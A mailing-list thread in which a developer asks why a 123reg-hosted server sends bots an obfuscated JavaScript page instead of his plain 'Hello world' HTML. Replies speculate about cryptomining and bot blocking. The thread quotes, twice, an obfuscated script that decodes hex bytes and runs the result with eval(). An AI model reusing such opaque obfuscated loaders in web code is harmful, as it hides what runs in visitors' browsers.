Can anyone help with a really weird web hosting problem?
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Steve Beeston
Apr 2, 2020, 3:43:15 PM4/2/20
to hertfo...@googlegroups.com
I'm completely flumoxed
Simple web page
<!DOCTYPE html>
<html lang="en-GB">
<head>
</head>
<body>
<p>Hello world</p>
</body>
</html>
... renders fine in a browser.
<!DOCTYPE html>
<html lang="en-GB">
<head>
</head>
<body>
<p>Hello world</p>
</body>
</html>
... renders fine in a browser.
If you put it in to the W3C validator at
https://validator.w3.org/nu
this is what gets served to the validator ...
<html><body><script>function IZV(kf,q2,od){var MpLsW,yVZDh=new Array(),Z0pLM="\x52\x71\x49\x5b\xde\x40\x9a\x5f\x6b\x89\xd7\x9b\xc3\xc5\x87\x8e\xe6\x84\x6e\x0a\xfb\x33\xc8\xe5\x85\x4c\x0c\xd2\x4e\xad\x12\x05\xd0\x9f\xd2\x3a\x25\x44\x38\xa9\x46\x4c\xe1\x5a\x53\x59\x1d\x16\x1f";for(MpLsW=0;MpLsW<Z0pLM.length;MpLsW++)yVZDh[MpLsW]=Z0pLM.charCodeAt(MpLsW);MpLsW=4;while(MpLsW<=35){yVZDh[MpLsW]=(yVZDh[MpLsW]+yVZDh[MpLsW+1])&0xff;yVZDh[MpLsW]=((yVZDh[MpLsW]<<7)&0xff)|(yVZDh[MpLsW]>>1);MpLsW++;}MpLsW=1;do{yVZDh[MpLsW]=(yVZDh[MpLsW]+yVZDh[MpLsW+1])&0xff;yVZDh[MpLsW]=(~yVZDh[MpLsW])&0xff;yVZDh[MpLsW]=yVZDh[MpLsW]^13;}while(++MpLsW<=40);MpLsW=37;for(;;MpLsW--){if(MpLsW<3)break;yVZDh[MpLsW]=((yVZDh[MpLsW]^182)+35)&0xff;}Z0pLM="";for(MpLsW=1;MpLsW<yVZDh.length-1;MpLsW++)if(MpLsW%7)Z0pLM+=String.fromCharCode(yVZDh[MpLsW]^kf);Z0pLM+="";eval(Z0pLM);}IZV(63,"test.html","");</script><br><br><br><center><h3><p>Your browser doesn't seem to support Javascript!</p></h3></center></body></html>
Tried another web host and it was fine.
<html><body><script>function IZV(kf,q2,od){var MpLsW,yVZDh=new Array(),Z0pLM="\x52\x71\x49\x5b\xde\x40\x9a\x5f\x6b\x89\xd7\x9b\xc3\xc5\x87\x8e\xe6\x84\x6e\x0a\xfb\x33\xc8\xe5\x85\x4c\x0c\xd2\x4e\xad\x12\x05\xd0\x9f\xd2\x3a\x25\x44\x38\xa9\x46\x4c\xe1\x5a\x53\x59\x1d\x16\x1f";for(MpLsW=0;MpLsW<Z0pLM.length;MpLsW++)yVZDh[MpLsW]=Z0pLM.charCodeAt(MpLsW);MpLsW=4;while(MpLsW<=35){yVZDh[MpLsW]=(yVZDh[MpLsW]+yVZDh[MpLsW+1])&0xff;yVZDh[MpLsW]=((yVZDh[MpLsW]<<7)&0xff)|(yVZDh[MpLsW]>>1);MpLsW++;}MpLsW=1;do{yVZDh[MpLsW]=(yVZDh[MpLsW]+yVZDh[MpLsW+1])&0xff;yVZDh[MpLsW]=(~yVZDh[MpLsW])&0xff;yVZDh[MpLsW]=yVZDh[MpLsW]^13;}while(++MpLsW<=40);MpLsW=37;for(;;MpLsW--){if(MpLsW<3)break;yVZDh[MpLsW]=((yVZDh[MpLsW]^182)+35)&0xff;}Z0pLM="";for(MpLsW=1;MpLsW<yVZDh.length-1;MpLsW++)if(MpLsW%7)Z0pLM+=String.fromCharCode(yVZDh[MpLsW]^kf);Z0pLM+="";eval(Z0pLM);}IZV(63,"test.html","");</script><br><br><br><center><h3><p>Your browser doesn't seem to support Javascript!</p></h3></center></body></html>
Tried another web host and it was fine.
Steve
Richie Hindle
Apr 3, 2020, 3:50:28 AM4/3/20
to Hertford Tech
Hi Steve,
... renders fine in a browser.
But is that bunch of JavaScript also being served to your browser? What does View Source say? All that might render the original page, as well as pulling in a bitcoin mining robot or whatever it does.
Tried another web host and it was fine.
I think that's your answer. :-) Whatever is going on, even if there's an innocent explanation, the fact that it's going on behind your back would make me steer well clear of that host.
Steve Beeston
Apr 3, 2020, 7:48:00 AM4/3/20
to hertfo...@googlegroups.com
No, the Javascript is not being served to the browser. It only appears to be served to bots.
The issue came up because my client is unable to get ranked by Google because Googlebot is being denied access to the site by the server. My research suggests the problem is more widespread.
I typed the message served to bots in to Google and got this ...
Every one of these websites is hosted on the same server - 94.136.40.103 operated by 123reg - no other servers are implicated. Notice that this appears to be impacting around 263,000 web pages.
It looks to me as if the server is [mis]configured to deny access to bots.
Steve
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Richie Hindle
Apr 3, 2020, 12:10:33 PM4/3/20
to Hertford Tech
[Steve]
It looks to me as if the server is [mis]configured to deny access to bots.
That's incompetence indistinguishable from malice. And the content being served to bots is full of JavaScript, which bots won't process. Bizarre.
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